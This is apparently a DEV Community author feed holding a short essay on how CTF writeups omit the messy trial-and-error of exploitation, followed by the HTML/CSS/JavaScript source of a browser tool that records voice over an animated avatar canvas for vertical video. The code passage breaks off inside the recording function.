DEV Community: tamilvanan

The Part CTF Writeups Don’t Teach

tamilvanan — Tue, 31 Mar 2026 03:14:23 +0000

CTF writeups are often stories told from the ending.

They are written after the solution is already known.

That makes the path look cleaner than it really was.

The dead ends are removed.

The wrong guesses are removed.

The confusion is removed.

What remains is a smooth explanation.

Many readers mistake that smooth explanation for the real process of exploitation.

But exploitation is rarely smooth.

It is usually messy, uncertain, and iterative.

It often involves wrong assumptions.

It often involves failed experiments.

It often involves long periods of not knowing what matters.

A clean writeup can teach the final exploit.

It usually does not teach how the exploit was actually discovered.

That difference matters.

If you only study polished writeups, you may start to believe that good players solve challenges in a straight line.

They usually do not.

Strong players are often just better at handling uncertainty.

They test ideas.

They discard bad theories.

They notice strange behavior.

They build understanding slowly.

They move from confusion to clarity in small steps.

That is the real skill.

Writeups are still useful.

Writeups are useful for learning what kinds of bugs exist, what useful powers those bugs can give you, and how those powers are chained together into a full exploit.

But they are not a faithful record of the thinking process.

They are narratives of success, written backwards from the answer.

The danger is not only that they make exploitation look easier than it is.

The danger is that they hide the part where real skill is built.

The messy part is not separate from the work.

The messy part is the work.

From Voice to Video — A Minimal Tool for Effortless Content Creation

tamilvanan — Tue, 24 Mar 2026 06:48:46 +0000

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>VoiceReel — Your Face, Your Voice, 9:16</title>
<link href="https://fonts.googleapis.com/css2?family=Gloock:ital@0;1&family=Bricolage+Grotesque:wght@300;400;500;600&family=DM+Mono:wght@400;500&display=swap" rel="stylesheet">
<style>
:root {
  --ink:#0A0A0A; --ink3:#1A1A1A; --ink4:#242424;
  --line:rgba(255,255,255,0.07); --line2:rgba(255,255,255,0.13);
  --text:#F2EFE9; --sub:#888480; --ghost:#3D3A36;
  --teal:#39D9B4; --teal2:rgba(57,217,180,0.1);
  --coral:#FF6B5B;
}
*{box-sizing:border-box;margin:0;padding:0}
body{background:var(--ink);color:var(--text);font-family:'Bricolage Grotesque',sans-serif;min-height:100vh;overflow-x:hidden}
body::before{content:'';position:fixed;inset:0;background-image:radial-gradient(circle,rgba(255,255,255,.035) 1px,transparent 1px);background-size:28px 28px;pointer-events:none;z-index:0}
nav{display:flex;align-items:center;justify-content:space-between;padding:1rem 2rem;border-bottom:1px solid var(--line);position:sticky;top:0;z-index:100;background:rgba(10,10,10,.94);backdrop-filter:blur(24px)}
.logo{font-family:'Gloock',serif;font-size:1.35rem;letter-spacing:-.02em}
.logo em{color:var(--teal);font-style:italic}
.nav-right{display:flex;align-items:center;gap:.75rem}
.nav-tag{font-family:'DM Mono',monospace;font-size:.62rem;letter-spacing:.1em;color:var(--sub);border:1px solid var(--line2);padding:.28rem .7rem;border-radius:3px}
.live-ind{display:flex;align-items:center;gap:.4rem;font-family:'DM Mono',monospace;font-size:.62rem;color:var(--coral);opacity:0;transition:opacity .3s}
.live-ind.show{opacity:1}
.live-dot{width:5px;height:5px;border-radius:50%;background:var(--coral);animation:lp .8s ease-in-out infinite}
@keyframes lp{0%,100%{opacity:1}50%{opacity:.3}}
main{display:grid;grid-template-columns:1fr 400px;min-height:calc(100vh - 57px);position:relative;z-index:1}
@media(max-width:820px){main{grid-template-columns:1fr}}
.canvas-side{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:2.5rem 2rem;border-right:1px solid var(--line);min-height:580px}
.canvas-label{font-family:'DM Mono',monospace;font-size:.6rem;letter-spacing:.15em;color:var(--sub);text-transform:uppercase;margin-bottom:1rem;display:flex;align-items:center;gap:.6rem}
.canvas-label::before,.canvas-label::after{content:'';flex:1;height:1px;background:var(--line2);max-width:60px}
.phone-frame{position:relative;width:270px;height:480px;border-radius:28px;overflow:hidden;box-shadow:0 0 0 1.5px rgba(255,255,255,.1),0 32px 64px rgba(0,0,0,.6);flex-shrink:0}
#videoCanvas{width:100%;height:100%;display:block;border-radius:28px}
.phone-ring{position:absolute;inset:-6px;border-radius:34px;border:2px solid transparent;transition:all .3s;pointer-events:none}
.phone-ring.rec{border-color:var(--coral);box-shadow:0 0 0 4px rgba(255,107,91,.15);animation:rf 1.5s ease-in-out infinite}
@keyframes rf{0%,100%{box-shadow:0 0 0 4px rgba(255,107,91,.15)}50%{box-shadow:0 0 0 10px rgba(255,107,91,.04)}}
.canvas-meta{margin-top:1rem;display:flex;gap:.5rem;align-items:center;font-family:'DM Mono',monospace;font-size:.62rem;color:var(--sub)}
.canvas-meta span{background:var(--ink3);padding:.2rem .6rem;border-radius:3px;border:1px solid var(--line)}
.sidebar{padding:1.75rem 1.5rem;border-left:1px solid var(--line);display:flex;flex-direction:column;gap:1.4rem;overflow-y:auto;max-height:calc(100vh - 57px)}
.sec-title{font-family:'DM Mono',monospace;font-size:.6rem;letter-spacing:.14em;text-transform:uppercase;color:var(--sub);margin-bottom:.85rem;padding-bottom:.6rem;border-bottom:1px solid var(--line)}

/* UPLOAD */
.upload-drop{border:1.5px dashed var(--ghost);border-radius:16px;padding:1.5rem 1rem;text-align:center;cursor:pointer;transition:all .25s;background:var(--ink3);display:flex;flex-direction:column;align-items:center;gap:.6rem}
.upload-drop:hover,.upload-drop.drag{border-color:var(--teal);background:var(--teal2)}
.upload-drop.has-photo{border-style:solid;border-color:var(--teal);padding:.75rem}
.upload-icon{font-size:2rem}
.upload-title{font-size:.82rem;font-weight:500;color:var(--text)}
.upload-sub{font-size:.7rem;color:var(--sub)}
.upload-fmts{display:flex;gap:.3rem;justify-content:center;font-family:'DM Mono',monospace;font-size:.6rem;color:var(--ghost)}
.photo-row{display:none;align-items:center;gap:1rem;width:100%}
.photo-row.show{display:flex}
.photo-thumb{width:56px;height:56px;border-radius:50%;object-fit:cover;border:2px solid var(--teal);flex-shrink:0}
.photo-info{flex:1;text-align:left}
.photo-name{font-size:.78rem;font-weight:500;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.photo-meta{font-size:.65rem;color:var(--sub);margin-top:.15rem}
.photo-rm{width:28px;height:28px;border-radius:6px;border:1px solid var(--line2);background:transparent;color:var(--sub);cursor:pointer;display:flex;align-items:center;justify-content:center;font-size:.75rem;flex-shrink:0;transition:all .2s}
.photo-rm:hover{border-color:var(--coral);color:var(--coral)}
.style-row{display:none;gap:.5rem;flex-wrap:wrap;margin-top:.75rem}
.sty-btn{padding:.35rem .85rem;border-radius:100px;border:1.5px solid var(--line2);background:var(--ink3);color:var(--sub);font-size:.72rem;cursor:pointer;transition:all .2s;font-family:'Bricolage Grotesque',sans-serif}
.sty-btn:hover{color:var(--text)}
.sty-btn.on{border-color:var(--teal);color:var(--teal);background:var(--teal2)}

/* BG */
.bg-row{display:flex;gap:.4rem;flex-wrap:wrap}
.bg-sw{width:36px;height:36px;border-radius:8px;cursor:pointer;border:2px solid transparent;transition:all .2s}
.bg-sw.on{border-color:white;box-shadow:0 0 0 3px rgba(255,255,255,.1)}

/* TEXT */
.text-input{width:100%;padding:.65rem .85rem;background:var(--ink3);border:1px solid var(--line2);border-radius:8px;color:var(--text);font-family:'Bricolage Grotesque',sans-serif;font-size:.82rem;outline:none;transition:border-color .2s;resize:none}
.text-input:focus{border-color:rgba(57,217,180,.4)}
.text-input::placeholder{color:var(--ghost)}

/* SLIDERS */
.audio-grid{display:grid;grid-template-columns:1fr 1fr;gap:.75rem}
.mini-sl{display:flex;flex-direction:column;gap:.35rem}
.mini-lbl{display:flex;justify-content:space-between;font-size:.7rem;color:var(--sub)}
.mini-lbl em{font-style:normal;color:var(--teal);font-family:'DM Mono',monospace;font-size:.68rem}
input[type=range]{-webkit-appearance:none;width:100%;height:3px;border-radius:2px;background:var(--ghost);outline:none;cursor:pointer}
input[type=range]::-webkit-slider-thumb{-webkit-appearance:none;width:14px;height:14px;border-radius:50%;background:var(--ink);border:2px solid var(--teal);transition:transform .15s}
input[type=range]::-webkit-slider-thumb:hover{transform:scale(1.3)}

/* WAVE */
.wave-strip{height:48px;background:var(--ink3);border:1px solid var(--line);border-radius:8px;display:flex;align-items:center;padding:0 8px;gap:2px;overflow:hidden}
.wv-b{width:3px;border-radius:1.5px;background:var(--teal);min-height:3px;transition:height .06s;opacity:.7;flex-shrink:0}

/* TIMER */
.timer-disp{text-align:center;font-family:'DM Mono',monospace;font-size:2rem;font-weight:500;letter-spacing:.08em;padding:.5rem 0}
.timer-disp.rec{color:var(--coral)}
.timer-sub{text-align:center;font-size:.72rem;color:var(--sub);margin-top:-.25rem;margin-bottom:.5rem}

/* REC BTN */
.rec-wrap{display:flex;justify-content:center}
.rec-btn{width:72px;height:72px;border-radius:50%;border:none;cursor:pointer;display:flex;align-items:center;justify-content:center;font-size:1.6rem;background:var(--ink3);border:2px solid var(--line2);transition:all .25s;position:relative}
.rec-btn::before{content:'';position:absolute;inset:-8px;border-radius:50%;border:1.5px solid rgba(255,255,255,.06);animation:breathe 3s ease-in-out infinite}
@keyframes breathe{0%,100%{transform:scale(1)}50%{transform:scale(1.06)}}
.rec-btn.ready:hover{background:var(--teal2);border-color:var(--teal)}
.rec-btn.recording{background:rgba(255,107,91,.12);border-color:var(--coral);animation:rpulse .9s ease-in-out infinite}
@keyframes rpulse{0%,100%{box-shadow:0 0 0 0 rgba(255,107,91,.3)}50%{box-shadow:0 0 0 14px rgba(255,107,91,0)}}
.rec-btn.done{background:var(--teal2);border-color:var(--teal)}

/* ACTIONS */
.actions{display:flex;flex-direction:column;gap:.6rem}
.action-btn{width:100%;padding:.75rem;border-radius:10px;border:1.5px solid var(--line2);background:var(--ink3);color:var(--text);font-family:'Bricolage Grotesque',sans-serif;font-size:.85rem;font-weight:500;cursor:pointer;transition:all .2s;display:flex;align-items:center;justify-content:center;gap:.5rem}
.action-btn:hover{background:var(--ink4)}
.action-btn:disabled{opacity:.35;cursor:not-allowed}
.action-btn.primary{background:var(--teal);border-color:var(--teal);color:#0A0A0A;font-weight:600}
.action-btn.primary:hover{background:#2EC8A3}
.action-btn.primary:disabled{background:var(--ink3);border-color:var(--line2);color:var(--sub)}
.status-bar{display:flex;align-items:center;gap:.5rem;padding:.5rem .75rem;border-radius:7px;background:var(--ink4);border:1px solid var(--line2);font-size:.75rem;color:var(--sub);min-height:34px}
.status-bar.ok{border-color:rgba(57,217,180,.25);color:var(--teal)}
.status-bar.err{border-color:rgba(255,107,91,.25);color:var(--coral)}

/* OVERLAY */
.proc-overlay{display:none;position:fixed;inset:0;z-index:200;background:rgba(10,10,10,.9);backdrop-filter:blur(12px);align-items:center;justify-content:center;flex-direction:column;gap:1.25rem}
.proc-overlay.show{display:flex}
.spinner{width:48px;height:48px;border-radius:50%;border:2px solid var(--ink4);border-top-color:var(--teal);animation:spin .7s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}
.proc-title{font-family:'Gloock',serif;font-size:1.4rem}
.proc-sub{font-size:.82rem;color:var(--sub)}
.proc-bar{width:240px;height:3px;background:var(--ink4);border-radius:2px;overflow:hidden}
.proc-fill{height:100%;background:var(--teal);width:0%;transition:width .4s ease}
</style>
</head>
<body>

<nav>
  <div class="logo">Voice<em>Reel</em></div>
  <div class="nav-right">
    <div class="live-ind" id="liveInd"><div class="live-dot"></div>REC</div>
    <div class="nav-tag">9:16 VERTICAL VIDEO</div>
  </div>
</nav>

<main>
  <!-- CANVAS PREVIEW -->
  <div class="canvas-side">
    <div class="canvas-label">Live Preview</div>
    <div style="position:relative">
      <div class="phone-frame">
        <canvas id="videoCanvas" width="405" height="720"></canvas>
      </div>
      <div class="phone-ring" id="phoneRing"></div>
    </div>
    <div class="canvas-meta">
      <span>9:16</span><span>405 × 720</span><span>30 fps</span><span>WebM</span>
    </div>
  </div>

  <!-- SIDEBAR -->
  <div class="sidebar">

    <!-- PHOTO UPLOAD -->
    <div>
      <div class="sec-title">Your Avatar Photo</div>

      <div class="upload-drop" id="uploadDrop"
        onclick="document.getElementById('photoInput').click()"
        ondragover="onDragOver(event)" ondragleave="onDragLeave(event)" ondrop="onDrop(event)">

        <div id="uploadDefault">
          <div class="upload-icon">📸</div>
          <div class="upload-title">Upload your photo</div>
          <div class="upload-sub">Drag & drop or click to browse</div>
          <div class="upload-fmts">JPG &nbsp;·&nbsp; PNG &nbsp;·&nbsp; WEBP &nbsp;·&nbsp; HEIC</div>
        </div>

        <div class="photo-row" id="photoRow">
          <img class="photo-thumb" id="photoThumb" src="" alt="">
          <div class="photo-info">
            <div class="photo-name" id="photoName">—</div>
            <div class="photo-meta" id="photoMeta">—</div>
          </div>
          <button class="photo-rm" onclick="removePhoto(event)">✕</button>
        </div>
      </div>

      <input type="file" id="photoInput" accept="image/*" style="display:none" onchange="handlePhoto(this.files[0])">

      <!-- Frame shape -->
      <div class="style-row" id="styleRow">
        <button class="sty-btn on" onclick="setStyle('circle',this)">◯ Circle</button>
        <button class="sty-btn" onclick="setStyle('square',this)">▢ Square</button>
        <button class="sty-btn" onclick="setStyle('hexagon',this)">⬡ Hex</button>
        <button class="sty-btn" onclick="setStyle('full',this)">⬛ Full</button>
      </div>
    </div>

    <!-- BACKGROUND -->
    <div>
      <div class="sec-title">Background</div>
      <div class="bg-row">
        <div class="bg-sw on" style="background:linear-gradient(160deg,#0A0F1E,#0F1F1A)" onclick="setBg(0,this)"></div>
        <div class="bg-sw" style="background:linear-gradient(160deg,#1A0A0A,#2A0F0F)" onclick="setBg(1,this)"></div>
        <div class="bg-sw" style="background:linear-gradient(160deg,#0A0A1A,#120A2A)" onclick="setBg(2,this)"></div>
        <div class="bg-sw" style="background:linear-gradient(160deg,#0F1A0A,#0A1A10)" onclick="setBg(3,this)"></div>
        <div class="bg-sw" style="background:linear-gradient(160deg,#1A1208,#120E04)" onclick="setBg(4,this)"></div>
        <div class="bg-sw" style="background:linear-gradient(160deg,#0A0A0A,#1A1A1A)" onclick="setBg(5,this)"></div>
        <div class="bg-sw" style="background:linear-gradient(160deg,#F5F0E8,#EDE5D4)" onclick="setBg(6,this)"></div>
        <div class="bg-sw" style="background:linear-gradient(160deg,#0A1828,#051220)" onclick="setBg(7,this)"></div>
      </div>
    </div>

    <!-- TEXT -->
    <div>
      <div class="sec-title">Text Overlay</div>
      <textarea class="text-input" id="titleText" rows="2" placeholder="Your headline on the video..." oninput="redraw()">Speak your mind.</textarea>
      <div style="margin-top:.5rem">
        <input class="text-input" id="subText" placeholder="Your name or subtitle..." oninput="redraw()" style="padding:.55rem .85rem">
      </div>
    </div>

    <!-- AUDIO -->
    <div>
      <div class="sec-title">Voice Enhancement</div>
      <div class="audio-grid">
        <div class="mini-sl">
          <div class="mini-lbl">Warmth <em id="lW">+5</em></div>
          <input type="range" id="rW" min="-6" max="12" value="5" step=".5" oninput="document.getElementById('lW').textContent=(this.value>0?'+':'')+this.value">
        </div>
        <div class="mini-sl">
          <div class="mini-lbl">Presence <em id="lP">+4</em></div>
          <input type="range" id="rP" min="-6" max="10" value="4" step=".5" oninput="document.getElementById('lP').textContent=(this.value>0?'+':'')+this.value">
        </div>
        <div class="mini-sl">
          <div class="mini-lbl">Compress <em id="lC">4:1</em></div>
          <input type="range" id="rC" min="1" max="16" value="4" step=".5" oninput="document.getElementById('lC').textContent=parseFloat(this.value).toFixed(1)+':1'">
        </div>
        <div class="mini-sl">
          <div class="mini-lbl">Noise Gate <em id="lG">−28</em></div>
          <input type="range" id="rG" min="-60" max="-5" value="-28" step="1" oninput="document.getElementById('lG').textContent=this.value">
        </div>
      </div>
    </div>

    <!-- RECORD -->
    <div>
      <div class="sec-title">Recording</div>
      <div class="wave-strip" id="waveStrip"></div>
      <div style="margin-top:1rem">
        <div class="timer-disp" id="timerDisp">0:00</div>
        <div class="timer-sub" id="timerSub">Ready to record</div>
      </div>
      <div class="rec-wrap" style="margin:.75rem 0">
        <button class="rec-btn ready" id="recBtn" onclick="toggleRecord()">🎙️</button>
      </div>
    </div>

    <div class="status-bar" id="statusBar">Allow microphone to begin</div>

    <div class="actions">
      <button class="action-btn primary" id="exportBtn" onclick="exportVideo()" disabled>↓ Export 9:16 Video (.webm)</button>
      <button class="action-btn" id="playBtn" onclick="playback()" disabled>▶ Preview Recording</button>
      <button class="action-btn" onclick="clearAll()">✕ Clear & Start Over</button>
    </div>

  </div>
</main>

<div class="proc-overlay" id="procOverlay">
  <div class="spinner"></div>
  <div class="proc-title">Rendering your video</div>
  <div class="proc-sub" id="procSub">Combining canvas + audio...</div>
  <div class="proc-bar"><div class="proc-fill" id="procFill"></div></div>
</div>

<script>
const canvas = document.getElementById('videoCanvas');
const ctx = canvas.getContext('2d');
const CW=405, CH=720;

let S = {
  bgIdx:0, style:'circle',
  isRec:false, hasRec:false,
  tick:0, energy:0, energySmooth:0,
  particles:[], photoImg:null,
};

const BG=[
  {top:'#0A0F1E',bot:'#0F1F1A',accent:'#39D9B4',dark:true},
  {top:'#1A0A0A',bot:'#2A0F0F',accent:'#FF6B5B',dark:true},
  {top:'#0A0A1A',bot:'#120A2A',accent:'#9B7EF0',dark:true},
  {top:'#0F1A0A',bot:'#0A1A10',accent:'#4BAD7A',dark:true},
  {top:'#1A1208',bot:'#120E04',accent:'#F5A623',dark:true},
  {top:'#0A0A0A',bot:'#1A1A1A',accent:'#AAAAAA',dark:true},
  {top:'#F5F0E8',bot:'#EDE5D4',accent:'#5C4A32',dark:false},
  {top:'#0A1828',bot:'#051220',accent:'#4A9ECC',dark:true},
];

function initParticles(){
  S.particles=Array.from({length:20},()=>({
    x:Math.random()*CW, y:Math.random()*CH,
    r:Math.random()*2+.5,
    vx:(Math.random()-.5)*.3, vy:-Math.random()*.4-.1,
    a:Math.random()*.4+.1
  }));
}
initParticles();

// ── DRAW LOOP ──
function draw(){
  requestAnimationFrame(draw);
  S.tick++;
  const bg=BG[S.bgIdx];
  S.energySmooth+=(S.energy-S.energySmooth)*.18;

  // BG
  const gr=ctx.createLinearGradient(0,0,0,CH);
  gr.addColorStop(0,bg.top); gr.addColorStop(1,bg.bot);
  ctx.fillStyle=gr; ctx.fillRect(0,0,CW,CH);

  // Glow
  ctx.save(); ctx.globalAlpha=0.07+S.energySmooth*.07;
  const rg=ctx.createRadialGradient(CW/2,CH*.48,0,CW/2,CH*.48,250);
  rg.addColorStop(0,bg.accent); rg.addColorStop(1,'transparent');
  ctx.fillStyle=rg; ctx.fillRect(0,0,CW,CH);
  ctx.restore();

  // Particles
  S.particles.forEach(p=>{
    p.x+=p.vx; p.y+=p.vy;
    if(p.y<-10){p.y=CH+10;p.x=Math.random()*CW;}
    ctx.save(); ctx.globalAlpha=p.a*(0.35+S.energySmooth*.65);
    ctx.fillStyle=bg.accent;
    ctx.beginPath(); ctx.arc(p.x,p.y,p.r,0,Math.PI*2); ctx.fill();
    ctx.restore();
  });

  const floatY=Math.sin(S.tick*.022)*6;
  const avCX=CW/2, avCY=CH*.41+floatY, avR=100;

  // Voice ripples
  if(S.isRec && S.energySmooth>.02){
    for(let i=0;i<4;i++){
      const ripR=avR+18+i*24+S.energySmooth*16;
      const alpha=Math.max(0,(0.38-i*.09)*S.energySmooth);
      ctx.save(); ctx.globalAlpha=alpha;
      ctx.strokeStyle=bg.accent; ctx.lineWidth=2.5-i*.4;
      ctx.beginPath(); ctx.arc(avCX,avCY,ripR,0,Math.PI*2); ctx.stroke();
      ctx.restore();
    }
  }

  // Wobble ring when speaking
  if(S.energySmooth>.02){
    ctx.save(); ctx.globalAlpha=0.18+S.energySmooth*.22;
    ctx.strokeStyle=bg.accent; ctx.lineWidth=1.5;
    const wR=avR+14;
    ctx.beginPath();
    for(let a=0;a<Math.PI*2;a+=.055){
      const w=1+S.energySmooth*.12*Math.sin(a*12+S.tick*.07);
      const px=avCX+Math.cos(a)*wR*w, py=avCY+Math.sin(a)*wR*w;
      a<.06?ctx.moveTo(px,py):ctx.lineTo(px,py);
    }
    ctx.closePath(); ctx.stroke();
    ctx.restore();
  }

  // Avatar
  if(S.photoImg) drawPhoto(avCX,avCY,avR,bg);
  else drawPlaceholder(avCX,avCY,avR,bg);

  // Title text
  const title=document.getElementById('titleText').value||'';
  const sub=document.getElementById('subText').value||'';
  const tc=bg.dark?'#F2EFE9':'#1A1208';
  const sc=bg.dark?'rgba(242,239,233,.55)':'rgba(26,18,8,.5)';

  if(title){
    ctx.save();
    ctx.font='bold 36px Gloock,Georgia,serif';
    ctx.fillStyle=tc; ctx.textAlign='center'; ctx.textBaseline='middle';
    ctx.shadowColor=bg.dark?'rgba(0,0,0,.6)':'rgba(255,255,255,.4)';
    ctx.shadowBlur=14;
    wrapText(ctx,title,CW/2,CH*.775,CW-60,44);
    ctx.restore();
  }
  if(sub){
    ctx.save();
    ctx.font='300 22px Bricolage Grotesque,sans-serif';
    ctx.fillStyle=sc; ctx.textAlign='center'; ctx.textBaseline='middle';
    ctx.fillText(sub,CW/2,CH*.775+(title?54:0));
    ctx.restore();
  }

  // REC indicator
  if(S.isRec){
    ctx.save();
    ctx.fillStyle='#FF6B5B';
    ctx.beginPath(); ctx.arc(30,30,7,0,Math.PI*2); ctx.fill();
    ctx.globalAlpha=.3+Math.sin(S.tick*.12)*.3;
    ctx.strokeStyle='#FF6B5B'; ctx.lineWidth=2;
    ctx.beginPath(); ctx.arc(30,30,13,0,Math.PI*2); ctx.stroke();
    ctx.restore();
    ctx.font='500 17px DM Mono,monospace';
    ctx.fillStyle='#FF6B5B'; ctx.textAlign='left'; ctx.textBaseline='middle';
    ctx.fillText('REC',46,30);
  }

  if(S.isRec||S.hasRec){
    ctx.font='400 19px DM Mono,monospace';
    ctx.fillStyle=bg.dark?'rgba(255,255,255,.38)':'rgba(0,0,0,.35)';
    ctx.textAlign='right'; ctx.textBaseline='middle';
    ctx.fillText(document.getElementById('timerDisp').textContent,CW-18,30);
  }

  // Bottom accent
  ctx.save(); ctx.fillStyle=bg.accent; ctx.globalAlpha=.65;
  ctx.fillRect(0,CH-3,CW,3);
  ctx.restore();
}

// ── DRAW PHOTO ──
function drawPhoto(cx,cy,r,bg){
  const scale=1+S.energySmooth*.05;
  ctx.save();
  ctx.translate(cx,cy); ctx.scale(scale,scale); ctx.translate(-cx,-cy);

  // Clip
  ctx.save();
  ctx.beginPath();
  applyShapePath(cx,cy,r);
  ctx.clip();

  // Cover-crop image
  if(S.style==='full'){
    const asp=S.photoImg.width/S.photoImg.height;
    const h=CH*.62, w=h*asp;
    ctx.drawImage(S.photoImg,cx-w/2,cy-h/2,w,h);
  } else {
    const d=r*2;
    const iw=S.photoImg.width, ih=S.photoImg.height;
    const sc2=Math.max(d/iw,d/ih);
    const sw=d/sc2, sh=d/sc2;
    const sx=(iw-sw)/2, sy=(ih-sh)/2;
    ctx.drawImage(S.photoImg,sx,sy,sw,sh,cx-r,cy-r,d,d);
  }
  ctx.restore();

  // Glowing border ring
  ctx.save();
  ctx.strokeStyle=bg.accent;
  ctx.lineWidth=3+S.energySmooth*5;
  ctx.globalAlpha=.7+S.energySmooth*.3;
  ctx.shadowColor=bg.accent;
  ctx.shadowBlur=14+S.energySmooth*22;
  ctx.beginPath();
  applyShapePath(cx,cy,r+2);
  ctx.stroke();
  ctx.restore();

  ctx.restore(); // undo scale
}

function applyShapePath(cx,cy,r){
  if(S.style==='circle'){
    ctx.arc(cx,cy,r,0,Math.PI*2);
  } else if(S.style==='square'){
    const h=r*.95;
    rrect(ctx,cx-h,cy-h,h*2,h*2,16);
  } else if(S.style==='hexagon'){
    ctx.beginPath();
    for(let i=0;i<6;i++){
      const a=Math.PI/180*(60*i-30);
      const x=cx+r*Math.cos(a), y=cy+r*Math.sin(a);
      i===0?ctx.moveTo(x,y):ctx.lineTo(x,y);
    }
    ctx.closePath();
  } else {
    // full rectangle
    if(S.photoImg){
      const asp=S.photoImg.width/S.photoImg.height;
      const h=CH*.62, w=h*asp;
      ctx.rect(cx-w/2,cy-h/2,w,h);
    }
  }
}

function rrect(ctx,x,y,w,h,r){
  ctx.beginPath();
  ctx.moveTo(x+r,y);
  ctx.lineTo(x+w-r,y); ctx.quadraticCurveTo(x+w,y,x+w,y+r);
  ctx.lineTo(x+w,y+h-r); ctx.quadraticCurveTo(x+w,y+h,x+w-r,y+h);
  ctx.lineTo(x+r,y+h); ctx.quadraticCurveTo(x,y+h,x,y+h-r);
  ctx.lineTo(x,y+r); ctx.quadraticCurveTo(x,y,x+r,y);
  ctx.closePath();
}

function drawPlaceholder(cx,cy,r,bg){
  ctx.save();
  ctx.fillStyle='rgba(255,255,255,.04)';
  ctx.strokeStyle=bg.accent; ctx.lineWidth=2; ctx.setLineDash([6,4]); ctx.globalAlpha=.6;
  ctx.beginPath(); ctx.arc(cx,cy,r,0,Math.PI*2);
  ctx.fill(); ctx.stroke(); ctx.setLineDash([]);
  ctx.restore();
  ctx.font='48px serif'; ctx.textAlign='center'; ctx.textBaseline='middle';
  ctx.fillText('📸',cx,cy-10);
  ctx.font='500 15px Bricolage Grotesque,sans-serif';
  ctx.fillStyle='rgba(255,255,255,.3)'; ctx.fillText('Upload your photo',cx,cy+48);
}

function wrapText(ctx,text,x,y,maxW,lineH){
  const words=text.split(' ');
  let line='',lines=[];
  words.forEach(w=>{
    const t=line+w+' ';
    if(ctx.measureText(t).width>maxW&&line){lines.push(line);line=w+' ';}
    else line=t;
  });
  lines.push(line);
  const total=lines.length*lineH;
  lines.forEach((l,i)=>ctx.fillText(l.trim(),x,y-total/2+i*lineH+lineH/2));
}

// ── PHOTO UPLOAD ──
function onDragOver(e){e.preventDefault();document.getElementById('uploadDrop').classList.add('drag');}
function onDragLeave(){document.getElementById('uploadDrop').classList.remove('drag');}
function onDrop(e){
  e.preventDefault(); document.getElementById('uploadDrop').classList.remove('drag');
  const f=e.dataTransfer.files[0];
  if(f&&f.type.startsWith('image/')) handlePhoto(f);
}

function handlePhoto(file){
  if(!file) return;
  const reader=new FileReader();
  reader.onload=e=>{
    const img=new Image();
    img.onload=()=>{
      S.photoImg=img;
      document.getElementById('photoThumb').src=e.target.result;
      document.getElementById('photoName').textContent=file.name;
      document.getElementById('photoMeta').textContent=
        img.width+'×'+img.height+' · '+(file.size>1e6?(file.size/1e6).toFixed(1)+' MB':(file.size/1e3).toFixed(0)+' KB');
      document.getElementById('uploadDefault').style.display='none';
      document.getElementById('photoRow').classList.add('show');
      document.getElementById('uploadDrop').classList.add('has-photo');
      document.getElementById('styleRow').style.display='flex';
      setStatus('Photo ready — hit record!','ok');
    };
    img.src=e.target.result;
  };
  reader.readAsDataURL(file);
}

function removePhoto(e){
  e.stopPropagation();
  S.photoImg=null;
  document.getElementById('photoThumb').src='';
  document.getElementById('uploadDefault').style.display='';
  document.getElementById('photoRow').classList.remove('show');
  document.getElementById('uploadDrop').classList.remove('has-photo');
  document.getElementById('styleRow').style.display='none';
  document.getElementById('photoInput').value='';
}

function setStyle(style,el){
  S.style=style;
  document.querySelectorAll('.sty-btn').forEach(b=>b.classList.remove('on'));
  el.classList.add('on');
}
function setBg(idx,el){
  S.bgIdx=idx;
  document.querySelectorAll('.bg-sw').forEach(s=>s.classList.remove('on'));
  el.classList.add('on');
}
function redraw(){}

// ── AUDIO ENGINE ──
let audioCtx=null,micStream=null,analyser=null,mediaRecorder=null;
let recordedChunks=[],isRecording=false,startTime=null,timerInt=null,procDest=null;

async function initMic(){
  try{
    if(!audioCtx) audioCtx=new(window.AudioContext||window.webkitAudioContext)({sampleRate:44100});
    if(audioCtx.state==='suspended') await audioCtx.resume();
    micStream=await navigator.mediaDevices.getUserMedia({
      audio:{echoCancellation:false,noiseSuppression:false,autoGainControl:false,sampleRate:44100}
    });
    const src=audioCtx.createMediaStreamSource(micStream);
    const hp=audioCtx.createBiquadFilter(); hp.type='highpass'; hp.frequency.value=80;
    const ls=audioCtx.createBiquadFilter(); ls.type='lowshelf'; ls.frequency.value=250;
    ls.gain.value=parseFloat(document.getElementById('rW').value);
    const hm=audioCtx.createBiquadFilter(); hm.type='peaking'; hm.frequency.value=3000; hm.Q.value=.9;
    hm.gain.value=parseFloat(document.getElementById('rP').value);
    const hs=audioCtx.createBiquadFilter(); hs.type='highshelf'; hs.frequency.value=9000; hs.gain.value=2;
    const comp=audioCtx.createDynamicsCompressor();
    comp.threshold.value=parseFloat(document.getElementById('rG').value);
    comp.ratio.value=parseFloat(document.getElementById('rC').value);
    comp.attack.value=.003; comp.release.value=.15; comp.knee.value=5;
    const gain=audioCtx.createGain(); gain.gain.value=1.3;
    analyser=audioCtx.createAnalyser(); analyser.fftSize=1024; analyser.smoothingTimeConstant=.8;
    procDest=audioCtx.createMediaStreamDestination();
    src.connect(hp);hp.connect(ls);ls.connect(hm);hm.connect(hs);
    hs.connect(comp);comp.connect(gain);gain.connect(analyser);gain.connect(procDest);
    setStatus('Mic ready — tap the button to record!','ok');
    startWaveAnim();
    return true;
  }catch(e){
    setStatus('Mic access denied — please allow microphone.','err');
    return false;
  }
}

// Wave bars
function buildWave(){
  const strip=document.getElementById('waveStrip'); strip.innerHTML='';
  for(let i=0;i<52;i++){const b=document.createElement('div');b.className='wv-b';b.style.height='3px';strip.appendChild(b);}
}
buildWave();

function startWaveAnim(){
  const bars=document.querySelectorAll('.wv-b');
  function frame(){
    requestAnimationFrame(frame);
    if(!analyser) return;
    const data=new Uint8Array(analyser.frequencyBinCount);
    analyser.getByteTimeDomainData(data);
    bars.forEach((b,i)=>{
      const idx=Math.floor(i*data.length/bars.length);
      const h=Math.abs(data[idx]-128)/128;
      b.style.height=(3+h*38)+'px';
    });
    let sum=0; data.forEach(v=>sum+=Math.pow((v-128)/128,2));
    S.energy=Math.min(1,Math.sqrt(sum/data.length)*6);
  }
  frame();
}

async function toggleRecord(){
  if(isRecording){stopRecording();return;}
  if(!micStream){const ok=await initMic();if(!ok)return;}
  startRecording();
}

function startRecording(){
  const canvasStream=canvas.captureStream(30);
